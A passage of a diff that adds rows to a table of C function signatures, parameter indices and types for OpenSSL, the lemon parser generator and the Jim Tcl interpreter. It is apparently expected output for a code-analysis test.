(FILE *,const X509_PUBKEY *) | | PEM_write_X509_PUBKEY | 1 | const X509_PUBKEY * | +| (FILE *,const X509_REQ *) | | PEM_write_X509_REQ | 0 | FILE * | +| (FILE *,const X509_REQ *) | | PEM_write_X509_REQ | 1 | const X509_REQ * | +| (FILE *,const X509_REQ *) | | PEM_write_X509_REQ_NEW | 0 | FILE * | +| (FILE *,const X509_REQ *) | | PEM_write_X509_REQ_NEW | 1 | const X509_REQ * | +| (FILE *,const X509_REQ *) | | i2d_X509_REQ_fp | 0 | FILE * | +| (FILE *,const X509_REQ *) | | i2d_X509_REQ_fp | 1 | const X509_REQ * | +| (FILE *,const X509_SIG *) | | PEM_write_PKCS8 | 0 | FILE * | +| (FILE *,const X509_SIG *) | | PEM_write_PKCS8 | 1 | const X509_SIG * | +| (FILE *,int *) | | tplt_skip_header | 0 | FILE * | +| (FILE *,int *) | | tplt_skip_header | 1 | int * | +| (FILE *,int,char *) | | tplt_linedir | 0 | FILE * | +| (FILE *,int,char *) | | tplt_linedir | 1 | int | +| (FILE *,int,char *) | | tplt_linedir | 2 | char * | +| (FILE *,lemon *,char *,int *) | | tplt_print | 0 | FILE * | +| (FILE *,lemon *,char *,int *) | | tplt_print | 1 | lemon * | +| (FILE *,lemon *,char *,int *) | | tplt_print | 2 | char * | +| (FILE *,lemon *,char *,int *) | | tplt_print | 3 | int * | +| (FILE *,lemon *,int *,int) | | print_stack_union | 0 | FILE * | +| (FILE *,lemon *,int *,int) | | print_stack_union | 1 | lemon * | +| (FILE *,lemon *,int *,int) | | print_stack_union | 2 | int * | +| (FILE *,lemon *,int *,int) | | print_stack_union | 3 | int | +| (FILE *,rule *) | | rule_print | 0 | FILE * | +| (FILE *,rule *) | | rule_print | 1 | rule * | +| (FILE *,rule *,int) | | RulePrint | 0 | FILE * | +| (FILE *,rule *,int) | | RulePrint | 1 | rule * | +| (FILE *,rule *,int) | | RulePrint | 2 | int | +| (FILE *,rule *,lemon *,int *) | | emit_code | 0 | FILE * | +| (FILE *,rule *,lemon *,int *) | | emit_code | 1 | rule * | +| (FILE *,rule *,lemon *,int *) | | emit_code | 2 | lemon * | +| (FILE *,rule *,lemon *,int *) | | emit_code | 3 | int * | +| (FILE *,stack_st_X509_INFO *,pem_password_cb *,void *) | | PEM_X509_INFO_read | 0 | FILE * | +| (FILE *,stack_st_X509_INFO *,pem_password_cb *,void *) | | PEM_X509_INFO_read | 1 | stack_st_X509_INFO * | +| (FILE *,stack_st_X509_INFO *,pem_password_cb *,void *) | | PEM_X509_INFO_read | 2 | pem_password_cb * | +| (FILE *,stack_st_X509_INFO *,pem_password_cb *,void *) | | PEM_X509_INFO_read | 3 | void * | +| (FILE *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_X509_INFO_read_ex | 0 | FILE * | +| (FILE *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_X509_INFO_read_ex | 1 | stack_st_X509_INFO * | +| (FILE *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_X509_INFO_read_ex | 2 | pem_password_cb * | +| (FILE *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_X509_INFO_read_ex | 3 | void * | +| (FILE *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_X509_INFO_read_ex | 4 | OSSL_LIB_CTX * | +| (FILE *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_X509_INFO_read_ex | 5 | const char * | +| (FILE *,symbol *,lemon *,int *) | | emit_destructor_code | 0 | FILE * | +| (FILE *,symbol *,lemon *,int *) | | emit_destructor_code | 1 | symbol * | +| (FILE *,symbol *,lemon *,int *) | | emit_destructor_code | 2 | lemon * | +| (FILE *,symbol *,lemon *,int *) | | emit_destructor_code | 3 | int * | +| (FUNCTION *,DISPLAY_COLUMNS *) | | calculate_columns | 0 | FUNCTION * | +| (FUNCTION *,DISPLAY_COLUMNS *) | | calculate_columns | 1 | DISPLAY_COLUMNS * | +| (GCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_gcm128_aad | 0 | GCM128_CONTEXT * | +| (GCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_gcm128_aad | 1 | const unsigned char * | +| (GCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_gcm128_aad | 2 | size_t | +| (GCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_gcm128_setiv | 0 | GCM128_CONTEXT * | +| (GCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_gcm128_setiv | 1 | const unsigned char * | +| (GCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_gcm128_setiv | 2 | size_t | +| (GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_gcm128_decrypt | 0 | GCM128_CONTEXT * | +| (GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_gcm128_decrypt | 1 | const unsigned char * | +| (GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_gcm128_decrypt | 2 | unsigned char * | +| (GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_gcm128_decrypt | 3 | size_t | +| (GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_gcm128_encrypt | 0 | GCM128_CONTEXT * | +| (GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_gcm128_encrypt | 1 | const unsigned char * | +| (GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_gcm128_encrypt | 2 | unsigned char * | +| (GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_gcm128_encrypt | 3 | size_t | +| (GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f) | | CRYPTO_gcm128_decrypt_ctr32 | 0 | GCM128_CONTEXT * | +| (GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f) | | CRYPTO_gcm128_decrypt_ctr32 | 1 | const unsigned char * | +| (GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f) | | CRYPTO_gcm128_decrypt_ctr32 | 2 | unsigned char * | +| (GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f) | | CRYPTO_gcm128_decrypt_ctr32 | 3 | size_t | +| (GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f) | | CRYPTO_gcm128_decrypt_ctr32 | 4 | ctr128_f | +| (GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f) | | CRYPTO_gcm128_encrypt_ctr32 | 0 | GCM128_CONTEXT * | +| (GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f) | | CRYPTO_gcm128_encrypt_ctr32 | 1 | const unsigned char * | +| (GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f) | | CRYPTO_gcm128_encrypt_ctr32 | 2 | unsigned char * | +| (GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f) | | CRYPTO_gcm128_encrypt_ctr32 | 3 | size_t | +| (GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f) | | CRYPTO_gcm128_encrypt_ctr32 | 4 | ctr128_f | +| (GCM128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_gcm128_tag | 0 | GCM128_CONTEXT * | +| (GCM128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_gcm128_tag | 1 | unsigned char * | +| (GCM128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_gcm128_tag | 2 | size_t | +| (GCM128_CONTEXT *,void *,block128_f) | | CRYPTO_gcm128_init | 0 | GCM128_CONTEXT * | +| (GCM128_CONTEXT *,void *,block128_f) | | CRYPTO_gcm128_init | 1 | void * | +| (GCM128_CONTEXT *,void *,block128_f) | | CRYPTO_gcm128_init | 2 | block128_f | +| (GENERAL_NAME *) | | GENERAL_NAME_free | 0 | GENERAL_NAME * | +| (GENERAL_NAME **,const X509_NAME *) | | GENERAL_NAME_set1_X509_NAME | 0 | GENERAL_NAME ** | +| (GENERAL_NAME **,const X509_NAME *) | | GENERAL_NAME_set1_X509_NAME | 1 | const X509_NAME * | +| (GENERAL_NAME **,const unsigned char **,long) | | d2i_GENERAL_NAME | 0 | GENERAL_NAME ** | +| (GENERAL_NAME **,const unsigned char **,long) | | d2i_GENERAL_NAME | 1 | const unsigned char ** | +| (GENERAL_NAME **,const unsigned char **,long) | | d2i_GENERAL_NAME | 2 | long | +| (GENERAL_NAME *,GENERAL_NAME *) | | GENERAL_NAME_cmp | 0 | GENERAL_NAME * | +| (GENERAL_NAME *,GENERAL_NAME *) | | GENERAL_NAME_cmp | 1 | GENERAL_NAME * | +| (GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,CONF_VALUE *,int) | | v2i_GENERAL_NAME_ex | 0 | GENERAL_NAME * | +| (GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,CONF_VALUE *,int) | | v2i_GENERAL_NAME_ex | 1 | const X509V3_EXT_METHOD * | +| (GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,CONF_VALUE *,int) | | v2i_GENERAL_NAME_ex | 2 | X509V3_CTX * | +| (GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,CONF_VALUE *,int) | | v2i_GENERAL_NAME_ex | 3 | CONF_VALUE * | +| (GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,CONF_VALUE *,int) | | v2i_GENERAL_NAME_ex | 4 | int | +| (GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,int,const char *,int) | | a2i_GENERAL_NAME | 0 | GENERAL_NAME * | +| (GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,int,const char *,int) | | a2i_GENERAL_NAME | 1 | const X509V3_EXT_METHOD * | +| (GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,int,const char *,int) | | a2i_GENERAL_NAME | 2 | X509V3_CTX * | +| (GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,int,const char *,int) | | a2i_GENERAL_NAME | 3 | int | +| (GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,int,const char *,int) | | a2i_GENERAL_NAME | 4 | const char * | +| (GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,int,const char *,int) | | a2i_GENERAL_NAME | 5 | int | +| (GENERAL_NAME *,int,void *) | | GENERAL_NAME_set0_value | 0 | GENERAL_NAME * | +| (GENERAL_NAME *,int,void *) | | GENERAL_NAME_set0_value | 1 | int | +| (GENERAL_NAME *,int,void *) | | GENERAL_NAME_set0_value | 2 | void * | +| (GENERAL_NAMES *) | | GENERAL_NAMES_free | 0 | GENERAL_NAMES * | +| (GENERAL_NAMES **,const unsigned char **,long) | | d2i_GENERAL_NAMES | 0 | GENERAL_NAMES ** | +| (GENERAL_NAMES **,const unsigned char **,long) | | d2i_GENERAL_NAMES | 1 | const unsigned char ** | +| (GENERAL_NAMES **,const unsigned char **,long) | | d2i_GENERAL_NAMES | 2 | long | +| (GENERAL_SUBTREE *) | | GENERAL_SUBTREE_free | 0 | GENERAL_SUBTREE * | +| (GOST_KX_MESSAGE *) | | GOST_KX_MESSAGE_free | 0 | GOST_KX_MESSAGE * | +| (GOST_KX_MESSAGE **,const unsigned char **,long) | | d2i_GOST_KX_MESSAGE | 0 | GOST_KX_MESSAGE ** | +| (GOST_KX_MESSAGE **,const unsigned char **,long) | | d2i_GOST_KX_MESSAGE | 1 | const unsigned char ** | +| (GOST_KX_MESSAGE **,const unsigned char **,long) | | d2i_GOST_KX_MESSAGE | 2 | long | | (HANDLE) | CAtlFile | CAtlFile | 0 | HANDLE | | (HINSTANCE,UINT) | CComBSTR | LoadString | 0 | HINSTANCE | | (HINSTANCE,UINT) | CComBSTR | LoadString | 1 | UINT | | (HKEY) | CRegKey | CRegKey | 0 | HKEY | +| (HMAC_CTX *,HMAC_CTX *) | | HMAC_CTX_copy | 0 | HMAC_CTX * | +| (HMAC_CTX *,HMAC_CTX *) | | HMAC_CTX_copy | 1 | HMAC_CTX * | +| (HMAC_CTX *,const void *,int,const EVP_MD *) | | HMAC_Init | 0 | HMAC_CTX * | +| (HMAC_CTX *,const void *,int,const EVP_MD *) | | HMAC_Init | 1 | const void * | +| (HMAC_CTX *,const void *,int,const EVP_MD *) | | HMAC_Init | 2 | int | +| (HMAC_CTX *,const void *,int,const EVP_MD *) | | HMAC_Init | 3 | const EVP_MD * | +| (HMAC_CTX *,const void *,int,const EVP_MD *,ENGINE *) | | HMAC_Init_ex | 0 | HMAC_CTX * | +| (HMAC_CTX *,const void *,int,const EVP_MD *,ENGINE *) | | HMAC_Init_ex | 1 | const void * | +| (HMAC_CTX *,const void *,int,const EVP_MD *,ENGINE *) | | HMAC_Init_ex | 2 | int | +| (HMAC_CTX *,const void *,int,const EVP_MD *,ENGINE *) | | HMAC_Init_ex | 3 | const EVP_MD * | +| (HMAC_CTX *,const void *,int,const EVP_MD *,ENGINE *) | | HMAC_Init_ex | 4 | ENGINE * | +| (HMAC_CTX *,unsigned long) | | HMAC_CTX_set_flags | 0 | HMAC_CTX * | +| (HMAC_CTX *,unsigned long) | | HMAC_CTX_set_flags | 1 | unsigned long | +| (HT *) | | ossl_ht_count | 0 | HT * | +| (HT *,..(*)(..),void *) | | ossl_ht_foreach_until | 0 | HT * | +| (HT *,..(*)(..),void *) | | ossl_ht_foreach_until | 1 | ..(*)(..) | +| (HT *,..(*)(..),void *) | | ossl_ht_foreach_until | 2 | void * | +| (HT *,HT_KEY *,HT_VALUE *,HT_VALUE **) | | ossl_ht_insert | 0 | HT * | +| (HT *,HT_KEY *,HT_VALUE *,HT_VALUE **) | | ossl_ht_insert | 1 | HT_KEY * | +| (HT *,HT_KEY *,HT_VALUE *,HT_VALUE **) | | ossl_ht_insert | 2 | HT_VALUE * | +| (HT *,HT_KEY *,HT_VALUE *,HT_VALUE **) | | ossl_ht_insert | 3 | HT_VALUE ** | +| (HT *,size_t,..(*)(..),void *) | | ossl_ht_filter | 0 | HT * | +| (HT *,size_t,..(*)(..),void *) | | ossl_ht_filter | 1 | size_t | +| (HT *,size_t,..(*)(..),void *) | | ossl_ht_filter | 2 | ..(*)(..) | +| (HT *,size_t,..(*)(..),void *) | | ossl_ht_filter | 3 | void * | +| (IPAddressChoice *) | | IPAddressChoice_free | 0 | IPAddressChoice * | +| (IPAddressChoice **,const unsigned char **,long) | | d2i_IPAddressChoice | 0 | IPAddressChoice ** | +| (IPAddressChoice **,const unsigned char **,long) | | d2i_IPAddressChoice | 1 | const unsigned char ** | +| (IPAddressChoice **,const unsigned char **,long) | | d2i_IPAddressChoice | 2 | long | +| (IPAddressFamily *) | | IPAddressFamily_free | 0 | IPAddressFamily * | +| (IPAddressFamily **,const unsigned char **,long) | | d2i_IPAddressFamily | 0 | IPAddressFamily ** | +| (IPAddressFamily **,const unsigned char **,long) | | d2i_IPAddressFamily | 1 | const unsigned char ** | +| (IPAddressFamily **,const unsigned char **,long) | | d2i_IPAddressFamily | 2 | long | +| (IPAddressOrRange *) | | IPAddressOrRange_free | 0 | IPAddressOrRange * | +| (IPAddressOrRange **,const unsigned char **,long) | | d2i_IPAddressOrRange | 0 | IPAddressOrRange ** | +| (IPAddressOrRange **,const unsigned char **,long) | | d2i_IPAddressOrRange | 1 | const unsigned char ** | +| (IPAddressOrRange **,const unsigned char **,long) | | d2i_IPAddressOrRange | 2 | long | +| (IPAddressOrRange *,const unsigned int,unsigned char *,unsigned char *,const int) | | X509v3_addr_get_range | 0 | IPAddressOrRange * | +| (IPAddressOrRange *,const unsigned int,unsigned char *,unsigned char *,const int) | | X509v3_addr_get_range | 1 | const unsigned int | +| (IPAddressOrRange *,const unsigned int,unsigned char *,unsigned char *,const int) | | X509v3_addr_get_range | 2 | unsigned char * | +| (IPAddressOrRange *,const unsigned int,unsigned char *,unsigned char *,const int) | | X509v3_addr_get_range | 3 | unsigned char * | +| (IPAddressOrRange *,const unsigned int,unsigned char *,unsigned char *,const int) | | X509v3_addr_get_range | 4 | const int | +| (IPAddressRange *) | | IPAddressRange_free | 0 | IPAddressRange * | +| (IPAddressRange **,const unsigned char **,long) | | d2i_IPAddressRange | 0 | IPAddressRange ** | +| (IPAddressRange **,const unsigned char **,long) | | d2i_IPAddressRange | 1 | const unsigned char ** | +| (IPAddressRange **,const unsigned char **,long) | | d2i_IPAddressRange | 2 | long | +| (ISSUER_SIGN_TOOL *) | | ISSUER_SIGN_TOOL_free | 0 | ISSUER_SIGN_TOOL * | +| (ISSUER_SIGN_TOOL **,const unsigned char **,long) | | d2i_ISSUER_SIGN_TOOL | 0 | ISSUER_SIGN_TOOL ** | +| (ISSUER_SIGN_TOOL **,const unsigned char **,long) | | d2i_ISSUER_SIGN_TOOL | 1 | const unsigned char ** | +| (ISSUER_SIGN_TOOL **,const unsigned char **,long) | | d2i_ISSUER_SIGN_TOOL | 2 | long | +| (ISSUING_DIST_POINT *) | | ISSUING_DIST_POINT_free | 0 | ISSUING_DIST_POINT * | +| (ISSUING_DIST_POINT **,const unsigned char **,long) | | d2i_ISSUING_DIST_POINT | 0 | ISSUING_DIST_POINT ** | +| (ISSUING_DIST_POINT **,const unsigned char **,long) | | d2i_ISSUING_DIST_POINT | 1 | const unsigned char ** | +| (ISSUING_DIST_POINT **,const unsigned char **,long) | | d2i_ISSUING_DIST_POINT | 2 | long | | (InputIt,InputIt) | deque | assign | 0 | func:0 | | (InputIt,InputIt) | deque | assign | 1 | func:0 | | (InputIt,InputIt) | forward_list | assign | 0 | func:0 | @@ -667,6 +15906,333 @@ getSignatureParameterName | (InputIterator,InputIterator,const Allocator &) | vector | vector | 0 | func:0 | | (InputIterator,InputIterator,const Allocator &) | vector | vector | 1 | func:0 | | (InputIterator,InputIterator,const Allocator &) | vector | vector | 2 | const class:1 & | +| (Jim_HashTable *) | | Jim_GetHashTableIterator | 0 | Jim_HashTable * | +| (Jim_HashTable *,const Jim_HashTableType *,void *) | | Jim_InitHashTable | 0 | Jim_HashTable * | +| (Jim_HashTable *,const Jim_HashTableType *,void *) | | Jim_InitHashTable | 1 | const Jim_HashTableType * | +| (Jim_HashTable *,const Jim_HashTableType *,void *) | | Jim_InitHashTable | 2 | void * | +| (Jim_HashTable *,const void *) | | Jim_FindHashEntry | 0 | Jim_HashTable * | +| (Jim_HashTable *,const void *) | | Jim_FindHashEntry | 1 | const void * | +| (Jim_HashTableIterator *) | | Jim_NextHashEntry | 0 | Jim_HashTableIterator * | +| (Jim_Interp *) | | Jim_GetExitCode | 0 | Jim_Interp * | +| (Jim_Interp *) | | Jim_InteractivePrompt | 0 | Jim_Interp * | +| (Jim_Interp *) | | Jim_NewObj | 0 | Jim_Interp * | +| (Jim_Interp *) | | Jim_bootstrapInit | 0 | Jim_Interp * | +| (Jim_Interp *) | | Jim_globInit | 0 | Jim_Interp * | +| (Jim_Interp *) | | Jim_initjimshInit | 0 | Jim_Interp * | +| (Jim_Interp *) | | Jim_stdlibInit | 0 | Jim_Interp * | +| (Jim_Interp *) | | Jim_tclcompatInit | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *) | | Jim_AioFilehandle | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *) | | Jim_AioFilehandle | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *) | | Jim_DeleteCommand | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *) | | Jim_DeleteCommand | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *) | | Jim_DictInfo | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *) | | Jim_DictInfo | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *) | | Jim_DictSize | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *) | | Jim_DictSize | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *) | | Jim_DuplicateObj | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *) | | Jim_DuplicateObj | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *) | | Jim_EvalExpression | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *) | | Jim_EvalExpression | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *) | | Jim_EvalObj | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *) | | Jim_EvalObj | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *) | | Jim_EvalObjList | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *) | | Jim_EvalObjList | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *) | | Jim_FreeObj | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *) | | Jim_FreeObj | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *) | | Jim_GetCallFrameByLevel | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *) | | Jim_GetCallFrameByLevel | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *) | | Jim_ListLength | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *) | | Jim_ListLength | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *) | | Jim_MakeGlobalNamespaceName | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *) | | Jim_MakeGlobalNamespaceName | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *) | | Jim_Utf8Length | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *) | | Jim_Utf8Length | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_CmdProc *,void *,Jim_DelCmdProc *) | | Jim_CreateCommandObj | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,Jim_CmdProc *,void *,Jim_DelCmdProc *) | | Jim_CreateCommandObj | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_CmdProc *,void *,Jim_DelCmdProc *) | | Jim_CreateCommandObj | 2 | Jim_CmdProc * | +| (Jim_Interp *,Jim_Obj *,Jim_CmdProc *,void *,Jim_DelCmdProc *) | | Jim_CreateCommandObj | 3 | void * | +| (Jim_Interp *,Jim_Obj *,Jim_CmdProc *,void *,Jim_DelCmdProc *) | | Jim_CreateCommandObj | 4 | Jim_DelCmdProc * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *) | | Jim_AppendObj | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *) | | Jim_AppendObj | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *) | | Jim_AppendObj | 2 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *) | | Jim_ListAppendElement | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *) | | Jim_ListAppendElement | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *) | | Jim_ListAppendElement | 2 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *) | | Jim_ListAppendList | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *) | | Jim_ListAppendList | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *) | | Jim_ListAppendList | 2 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *) | | Jim_RenameCommand | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *) | | Jim_RenameCommand | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *) | | Jim_RenameCommand | 2 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *) | | Jim_SetVariable | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *) | | Jim_SetVariable | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *) | | Jim_SetVariable | 2 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj **,int) | | Jim_SubstObj | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj **,int) | | Jim_SubstObj | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj **,int) | | Jim_SubstObj | 2 | Jim_Obj ** | +| (Jim_Interp *,Jim_Obj *,Jim_Obj **,int) | | Jim_SubstObj | 3 | int | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_CallFrame *) | | Jim_SetVariableLink | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_CallFrame *) | | Jim_SetVariableLink | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_CallFrame *) | | Jim_SetVariableLink | 2 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_CallFrame *) | | Jim_SetVariableLink | 3 | Jim_CallFrame * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | Jim_DictAddElement | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | Jim_DictAddElement | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | Jim_DictAddElement | 2 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | Jim_DictAddElement | 3 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | Jim_ListRange | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | Jim_ListRange | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | Jim_ListRange | 2 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | Jim_ListRange | 3 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | Jim_StringByteRangeObj | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | Jim_StringByteRangeObj | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | Jim_StringByteRangeObj | 2 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | Jim_StringByteRangeObj | 3 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | Jim_StringRangeObj | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | Jim_StringRangeObj | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | Jim_StringRangeObj | 2 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | Jim_StringRangeObj | 3 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj **,int) | | Jim_DictKey | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj **,int) | | Jim_DictKey | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj **,int) | | Jim_DictKey | 2 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj **,int) | | Jim_DictKey | 3 | Jim_Obj ** | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj **,int) | | Jim_DictKey | 4 | int | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | JimStringReplaceObj | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | JimStringReplaceObj | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | JimStringReplaceObj | 2 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | JimStringReplaceObj | 3 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | JimStringReplaceObj | 4 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int) | | Jim_CommandMatchObj | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int) | | Jim_CommandMatchObj | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int) | | Jim_CommandMatchObj | 2 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int) | | Jim_CommandMatchObj | 3 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int) | | Jim_CommandMatchObj | 4 | int | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,int) | | Jim_ScanString | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,int) | | Jim_ScanString | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,int) | | Jim_ScanString 